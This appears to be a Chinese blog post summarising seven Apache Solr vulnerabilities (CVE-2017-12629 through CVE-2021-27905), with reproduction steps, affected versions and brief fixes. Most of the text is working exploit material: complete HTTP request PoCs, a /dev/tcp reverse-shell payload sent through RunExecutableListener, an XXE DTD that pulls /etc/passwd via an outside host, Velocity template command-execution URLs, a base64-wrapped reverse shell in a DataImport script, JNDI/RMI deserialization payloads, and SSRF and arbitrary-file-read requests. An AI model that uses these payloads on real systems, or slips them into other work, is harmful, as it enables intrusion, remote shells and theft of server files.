目录

  • 框架概述
    • Wiki百科
    • 百度百科
  • 漏洞列表
    • 1.远程命令执行RCE(CVE-2017-12629)
      • 漏洞详情
      • 漏洞复现
      • 影响版本
      • 修复方案
    • 2.远程命令执行XXE(CVE-2017-12629)
      • 漏洞详情
      • 漏洞复现
      • 影响版本
      • 修复方案
    • 3.任意文件读取AND命令执行(CVE-2019-17558)
      • 漏洞详情
      • 漏洞复现
        • 3.1代码执行
        • 3.2任意文件读取
      • 影响版本
      • 修复方案
    • 4.远程命令执行漏洞(CVE-2019-0192)
      • 漏洞详情
      • 漏洞复现
      • 影响版本
      • 修复方案
    • 5.远程命令执行漏洞(CVE-2019-0193)
      • 漏洞详情
      • 漏洞复现
      • 影响版本
      • 修复方案
    • 6.未授权上传漏洞(CVE-2020-13957)
      • 漏洞详情
      • 漏洞复现
      • 影响版本
      • 修复方案
    • 7.Apache Solr SSRF (CVE-2021-27905)
      • 漏洞详情
      • 漏洞复现
        • 7.1任意文件读取
        • 7.2SSRF漏洞
      • 影响版本
      • 修复方案
    • 参考文献

框架概述

Wiki百科

apachesolr是由Apache软件基金会的apachesolr项目以开放、协作的方式开发的。2004年,Solr由CNET Networks的Yonik Seeley创建,作为一个内部项目,为公司网站添加搜索功能。

百度百科

Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。
Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。

漏洞列表

1.远程命令执行RCE(CVE-2017-12629)

漏洞详情

在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中,通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类,可以执行远程代码。Elasticsearch虽然使用Lucene,但不易受此影响。请注意,XML查询解析器中存在XML外部实体扩展漏洞,默认情况下,该漏洞可用于参数为deftype=xmlparser的任何查询请求,可利用该漏洞将恶意数据上载到/upload请求处理程序,或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。另请注意,第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。

漏洞复现

1、Docker拉一个环境。

2、新建一个listener,“exe”,“dir”,“args”内容也都可以通过http的方式传入。

POC:
POST /solr/demo/config HTTP/1.1
Host: ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 169{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","    args":["-c", "touch /tmp/test "]}}


Update更新一下操作,修改post包

POC:
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15[{"id":"test"}]


可以看到创建成功

因为我这里是启的是docker环境容器中的主机ping不通别的机器,所以只能用本虚拟来实验的。

POC
POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","bash-i>&/dev/tcp/ip/port0>&1"]}}



反弹到shell了

影响版本

Apache solr<7.1.0版本

修复方案

升级更高版本
添加Solr访问控制,包括禁止本地直接未授权访问
修改相关java文件

2.远程命令执行XXE(CVE-2017-12629)

漏洞详情

在Apache Solr 7.1之前的版本和Apache Lucene 7.1之前的版本中,通过利用XXE并使用Config API add listener命令来访问RunExecutableListener类,可以执行远程代码。Elasticsearch虽然使用Lucene,但不易受此影响。请注意,XML查询解析器中存在XML外部实体扩展漏洞,默认情况下,该漏洞可用于参数为deftype=xmlparser的任何查询请求,可利用该漏洞将恶意数据上载到/upload请求处理程序,或作为盲XXE使用ftp包装器从Solr服务器读取任意本地文件。另请注意,第二个漏洞与使用在所有受影响的Solr版本上可用的RunExecutableListener执行远程代码有关。

漏洞复现

Docker拉一个环境。

因为这里是一个bindXXE,在这里需要自己构建一个payload。
在另一台服务器web站点下创建一个.dtd文件

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

构造payload后url加密

<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://x.x.x.x/x.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser

编码后的payload

%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.x.x%2ftest.dtd%22%3E%25ext%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser


影响版本

Apache solr<7.1.0版本

修复方案

升级更高版本
添加Solr访问控制,包括禁止本地直接未授权访问
修改相关java文件

3.任意文件读取AND命令执行(CVE-2019-17558)

漏洞详情

Apache Solr 存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标服务器敏感文件。
漏洞利用需要两步,首先利用Config API打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming开关,然后进行文件读取。值得注意的是,默认情况下requestDispatcher.requestParsers.enableRemoteStreaming是关闭,攻击者并不能进行任意文件读取。所以官方并不认为这是一个漏洞,但是从攻击者角度来说可以通过Solr提供的Config API远程打开此开关,然后进行攻击,且Apache Solr生产环境下大多保持默认配置,并无身份校验。

漏洞复现

在登录到后台的情况下,执行以下目录用来或去name名称,这里为demo。

/solr/admin/cores?indexInfo=false&wt=json

3.1代码执行

构造config的POST包发送以用来判断是否存在漏洞。

POST /solr/demo/config HTTP/1.1
Host: 192.168.220.131:8983
Content-Type: application/json
Content-Length: 259{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
}

http://IP:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id %27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end


工具利用

https://github.com/jas502n/solr_rce

3.2任意文件读取

构造config的POST包发送更改配置以用来判断是否存在漏洞。
注意:Content-Type这里验证漏洞时用json方式发包,因为config是json文件读取。

POST /solr/demo/config HTTP/1.1
Host: IP:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 80{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}


构造config的POST包发送更改配置以用来判断是否存在漏洞。
注意:Content-Type这里验证漏洞时用x-www-form-urlencoded方式发包,因为是读取系统文件采用url编码读取。

POST /solr/demo/debug/dump?param=ContentStreams HTTP/1.1
Host: IP:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 29stream.url=file:///etc/passwd


工具检测

影响版本

Apache Solr <= 8.8.1版本

修复方案

官方文档
https://lucene.apache.org/solr/guide/8_6/authentication-and-authorization-plugins.html

4.远程命令执行漏洞(CVE-2019-0192)

漏洞详情

Apache Solr 中的 ConfigAPI 允许设置一个 jmx.serviceUrl,它将创建一个新的 JMXConnectorServerFactory,并通过“绑定”操作触发对目标 RMI/LDAP 服务器的调用。恶意的 RMI 服务器可以响应任意的对象,这些对象将在 Solr 端使用 java 的 ObjectInputStream 反序列化,这被认为是不安全的。这种类型的漏洞可以利用 ysoserial 工具。根据目标类路径,攻击者可以使用其中一个“gadget chain”来触发 Solr 端上的远程代码执行。

漏洞复现

Docker拉一个5.5的环境

docker pull solr:5.5.5
docker run -d -p 8983:8983 --name my_solr solr:5.5.5


创建一个test的core

docker exec -it --user=solr my_solr bin/solr create_core -c test



虚拟机没试成功我在win上搭建了一个环境。
先用ysoserial.jar工具在本地 6666 端口创建一个 rmi server,当反序列化数据 发送到 Server 中,然后 Server 中进行反序列化操作,并开启指定端口,然后在通过 JRMPClient 去发送攻击 payload

访问路径并抓包http://IP:8983/solr/test/config,变换请求方式,将Content-Type修改为json,添加content-length及payload

{“set-property” : {“jmx.serviceUrl” : “service:jmx:rmi:///jndi/rmi://IP:6666/obj”}}


如果您看到此错误:“Non-annotation type in annotation serial stream”这意味着ApacheSolr是使用java版本>运行的。JRE 7u25这个POC不能工作
否则你就会看到这个错误:“undeclared checked exception; nested exception is”PoC应该能工作。

影响版本

Apache Solr 5.0.0-5.5.5 版本
Apache Solr 6.0.0-6.6.5 版本

修复方案

通过精准访问控制功能,限制包含特定JSON数据(service:jmx:rmi)的POST请求,拦截利用该漏洞发起的远程代码执行攻击请求。

5.远程命令执行漏洞(CVE-2019-0193)

漏洞详情

Apache Solr DataImport功能 在开启Debug模式时,可以接收来自请求的"dataConfig"参数,这个参数的功能与data-config.xml一样,不过是在开启Debug模式时方便通过此参数进行调试,并且Debug模式的开启是通过参数传入的。在dataConfig参数中可以包含script恶意脚本导致远程代码执行。

漏洞复现

环境起来后创建一个core,名字为test

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db


访问/solr/admin/cores获取core信息

打开刚刚创建好的test核心,选择Dataimport功能并选择debug模式在下面创建POC

POC:
<dataConfig><dataSource type="URLDataSource"/><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/shell");}]]></script><document><entity name="stackoverflow"url="https://stackoverflow.com/feeds/tag/solr"processor="XPathEntityProcessor"forEach="/feed"transformer="script:poc" /></document>
</dataConfig>

点击Execute with this Confuguration会发送以下请求包,则会创建一个文件

反弹shell玩法,重复以上同样步骤,修改poc。

POC:
<dataConfig><dataSource type="URLDataSource"/><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,加密后的linux反弹shell }|{base64,-d}|{bash,-i}");}]]></script><document><entity name="stackoverflow"url="https://stackoverflow.com/feeds/tag/solr"processor="XPathEntityProcessor"forEach="/feed"transformer="script:poc" /></document>
</dataConfig>

影响版本

Apache Solr < 8.2.0版本

修复方案

https://github.com/apache/lucene-solr/commit/325824cd391c8e71f36f17d687f52344e50e9715

6.未授权上传漏洞(CVE-2020-13957)

漏洞详情

在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。
整个利用链流程:
上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE

漏洞复现

在这里我启的是一个7.0.0的服务。

solr start -e cloud -force启动一个cloud示例



\server\solr\configsets_default\conf目录下的solrconfig.xml文件中params.resource.loader.enabled的值设置为true(为远程命令执行做准备),conf目录下所有文件打包成一个压缩文件


Linux下打包,zip -r - * > test.zip。

通过上传API将zip上传进入ZooKeeper,注册一个testset的配置文件

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @test.zip http://IP:8983/solr/admin/configs?action=UPLOAD&name=testset


检查是否上传成功

curl http://IP:8983/api/cluster/configs?omitHeader=true

curl http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=mytest2&baseConfigSet=mytest&configSetProp.immutable=false&wt=xml&omitHeader=true


从Zookeeper中选择之前的testset恶意的solrconfig.xml创建新的配置文件。

curl -v "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=testset&numShards=1&replicationFactor=1&wt=xml&collection.configName=test2"


大体流程

执行EXP

EXP
http://IP:8983/solr/testset /select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end



反弹shell
执行的命令url编码后

影响版本

Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2

修复方案

升级Apache Solr 8.6.2版本以上。

7.Apache Solr SSRF (CVE-2021-27905)

漏洞详情

Apache Solr 8.8.2版本之前存在SSRF漏洞和任意文件读取漏洞,攻击者可以利用该漏洞进行SSRF攻击,使得服务端发起请求,成功利用该漏洞可造成内网信息探测。

漏洞复现

这里起一个8.0.0的solr服务。

由于服务没有core,这里先建一个core,但是报错了。

Solr已经在server/solr目录下已经创建了名字为new_core的文件夹,只需要把server/solr/configsets/default文件夹下的conf目录整个拷贝到testcore文件夹下

再回到创建页面刷新就可以了

在登录到后台的情况下,执行以下目录用来或去name名称,这里为testcore。

/solr/admin/cores?indexInfo=false&wt=json

7.1任意文件读取

判断是否存在漏洞,将下面poc发送。

POST /solr/testcore/config HTTP/1.1
Host: IP:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 84{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}


构造一下POST包,读取系统文件.

POST /solr/testcore/debug/dump?param=ContentStreams HTTP/1.1
Host: IP:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 52stream.url=file:///C://windows/win.ini&fileExt=txt

7.2SSRF漏洞

构造SSRF的GET数据包

GET /solr/{core}/replication?command=fetchindex&masterUrl={dnslog} HTTP/1.1
Host: IP:PORT
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Referer: http://IP/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


可以看dnslog回显哦。

影响版本

Apache Solr < 8.8.2

修复方案

Apache Solr >= 8.8.2

参考文献

https://github.com/mpgn/CVE-2019-0192
http://www.noofi.cn/?post=30
https://github.com/Imanfeng/Apache-Solr-RCE#cve-2020-13957
https://www.cnblogs.com/ph4nt0mer/p/13822167.html
致谢skay大佬

Apache Solr漏洞总结(比较全面的哦)相关推荐

  1. apache solr velocity 注入远程命令执行漏洞 (cve-2019-17558)

    Apache Solr 是一个开源的搜索服务器. 在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令. 具体漏洞原理和POC可以参考: https ...

  2. cve-2017-12629 apache solr xxe rce 漏洞分析

    Versions Affected Apache Solr before 7.1.0 with Apache Lucene before 7.1 Elasticsearch, although it ...

  3. apache solr远程代码执行漏洞(cve-2019-0193)

    简介 Apache Solr是一个企业级搜索平台,用Java编写且开源,基于Apache Lucene项目. 主要功能包括: full-text search 全文搜索 hit highlightin ...

  4. rmi远程代码执行漏洞_【漏洞通告】Apache Solr远程代码执行漏洞

    1.综述 Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器.该产品支持层面搜索.垂直搜索.高亮显示搜索结果等. Apache Solr ...

  5. Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)

    漏洞描述 Solr是Apache Lucene项目的开源企业搜索平台. 其主要功能包括全文检索.命中标示.分面搜索.动态聚类.数据库集成,以及富文本的处理. 2019年10月30日,国外安全研究人员放 ...

  6. 开源搜索服务 Apache Solr 出现多个高危漏洞

     聚焦源代码安全,网罗国内外最新资讯! 开源搜素引擎服务 Apache Solr 公布了三个漏洞及其缓解措施.这三个漏洞是 CVE-2021-27905.CVE-2021-29262和CVE-2021 ...

  7. Apache Solr 未授权上传(RCE)漏洞(CVE-2020-13957)的原理分析与验证

     聚焦源代码安全,网罗国内外最新资讯! 01 漏洞简介 Apache Solr 发布公告,旧版本的ConfigSet API 中存在未授权上传漏洞风险,被利用可能导致 RCE (远程代码执行). 受影 ...

  8. Apache Solr任意文件读取漏洞复现

    Apache Solr任意文件读取漏洞复现 一.简介 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口.用户可以通过http请求,向搜索引擎服务器提交一定格 ...

  9. apache solr rce cve-2019-0192 分析

    前言 漏洞详情:https://issues.apache.org/jira/browse/SOLR-13301 漏洞POC:https://github.com/mpgn/CVE-2019-0192 ...

最新文章

  1. [网摘学习]在Ubuntu上安装和配置OpenStack Nova之二
  2. 维基百科上的算法和数据结构链接很强大
  3. OO第一单元作业总结
  4. JSP页面中四种“返回按钮”的使用
  5. Springboot搭建个人博客系列
  6. Android 说说亮屏锁和键盘锁
  7. 使用PowerMock模拟静态方法
  8. C语言课后习题(1)
  9. flask-sqlalchemy Models
  10. [转]Android核心分析之二:方法论探讨之概念空间篇
  11. 西电华为交换设备配置(6506)
  12. pe擦除服务器硬盘,怎么彻底删除硬盘数据
  13. 给你一份完整的自动阅读所需介绍
  14. 判断一个数字是否为素数 C++实现
  15. 2021内职班的高考成绩怎么查询,2021山西地区高考查分时间
  16. 微信小程序被投诉怎么办?小妙招教给你
  17. MMORPG游戏的文案设计
  18. ao史密斯定时设置_下图ao史密斯热水器的预约定时怎么用?-史密斯热水器怎么接线...
  19. 逆向破解--除去软件nag窗口
  20. 如何下载python编译器,以及python 编译器如何使用 图文详解

热门文章

  1. 【UI 自动化测试平台解决方案】使用 Selenium IDE 录制 UI 自动化测试脚本
  2. 两部苹果手机同步照片_怎么恢复苹果手机删除的照片?今天教你三种找回方法...
  3. 智能出行 驱动未来|2023 开放原子全球开源峰会 CARSMOS 开源智能出行生态年会即将启幕
  4. WWDC2022看点之 五大亮点 锁屏、天气套件、SwiftUI、协作功能、苹果支付
  5. 如何使用Python 制作一副扑克牌!来看是怎么实现的!
  6. FFmpeg开发笔记(七):ffmpeg解码音频保存为PCM并使用软件播放
  7. Linux的gcc和g++的区别
  8. steam服务器维护6月28,绝地求生6月28日维护公告 今天吃鸡更新了什么内容介绍
  9. [引用格式][中文论文][毕业论文]毕业论文引用格式 英文引用文献间隔过大
  10. 大数据高频面试题——手写HQL